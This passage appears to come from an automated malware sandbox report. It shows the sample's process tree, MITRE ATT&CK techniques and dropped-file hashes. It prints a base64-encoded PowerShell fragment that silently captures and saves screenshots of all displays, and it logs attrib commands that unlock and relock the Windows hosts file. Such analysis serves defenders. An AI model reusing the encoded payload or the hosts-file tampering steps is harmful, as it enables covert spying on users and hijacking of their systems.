YwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\43efcwjs\43efcwjs.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES903A.tmp" "c:\Users\Admin\AppData\Local\Temp\43efcwjs\CSCBAF080B970EC47BCA8E8B2C6DACD9791.TMP"4⤵PID:2228
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C:\Windows\system32\attrib.exeattrib -r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:3116
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C:\Windows\system32\attrib.exeattrib +r C:\Windows\System32\drivers\etc\hosts2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:1260
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Obfuscated Files or Information
1Command Obfuscation
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
944B
MD5dbb22d95851b93abf2afe8fb96a8e544
SHA1920ec5fdb323537bcf78f7e29a4fc274e657f7a4
SHA256e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465
SHA51216031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc
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Filesize
4KB
MD5abe1ad2e9cf1f1ab1681ab822f22cb6c
SHA11d44ae5f9c575516fed25a21d75c850e67924af8
SHA2563e6c1a7ffeadb35513e229df6e6c8c1186cc073e005d9a77802e816636d736a7
SHA512b1789ad461f9f36944a21695d58c0e02950d966775e5512cbaa1eda43400d92b3852a23d98840a710a0e9d4aabfcb142c8df594272cf2f529b6baec9d60bf5b9
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Filesize
1KB
MD5491ff60792e975354897ec13f2441351
SHA147c4a0fb73915ba52142b6a52f52068628b97577
SHA25625fc04e7708d1755dc668591ab5e4cdfbcf1e756105a84a875083784bf534de9
SHA512e2a953645b71e153287f8ba03396e5300579b3f236720e3e4ecf4118da1f82addca9cd531db6c3fcbc09c6542abc747fc8e73a42ff1a3c5d7e5b7487cfddf935
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Filesize
417KB
MD5c30a93c9e0bf6974fba1a65f7d391b47
SHA1ba4e4110106a9c1e2572cfd913f909bade4a9352
SHA256b949cdc79424dea2759609d525d0b9704be676f46edf24a24565ebfc0b18a605
SHA51213aecc3f692ca7044472cae663f8a579c0bd87f865e8baa6cf60c2d95931977210f81d47520e4a108e5c23c1ba3b33d0ee46628884db59c70350b9befd6385fe
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
9.8MB
MD587ed2bc27b79ed4dae0656ba8e7d0a0b
SHA1cc1bdee540eab3c8de7eff233dd51da5fefaf5a1
SHA256ef2e90de4deb96b92ceebde16d7fa018ede52fc383480041735c1a08899a76f2
SHA512b82ab4ec6c7f581a7d557a10c17550cf8f9779e882781b6402a4eea74758ed1df0022887a7789fde3dc9a36d3aee67dcb38c6b586ba63aea24298bbf9da07ff2
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Filesize
2KB
MD56e2386469072b80f18d5722d07afdc0b
SHA1032d13e364833d7276fcab8a5b2759e79182880f
SHA256ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
SHA512e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
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Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
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Filesize
607B
MD50ff30e29806bacd0926f69a4b8e2f094
SHA1e37e9e4b81b34744415f563028fc0c97ed4dca63
SHA256ebe9911b88a8a939e46938d146a880176f6cf1b6319f80776fecf799efee7ff6
SHA51229a82a80140de075ee37d2b83e63dbed0e75c42fd55652d9fc321aad6bcf5d9633b289f3865906a5e9c2ac8780a205688ddb4d34d5bac7b685d251006c6a0337
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Filesize
652B
MD5e59de5493f81446e08c0039d90456afe
SHA1f99e0e4cf944fcab6a21505e53f572b96d9f19c5
SHA2567dcc893702b29cfad05aebfe4ae29acb334636b722354912d805aacfe3e1f2ea
SHA5129dfc45428175eb87c5ac45389092d40e3a1f97e973b0c8aff621b6672a423c1ccc6e1759ec912c7a0f05eccab5095dd2e72e95ac25dc2eb599c162c81288bf5f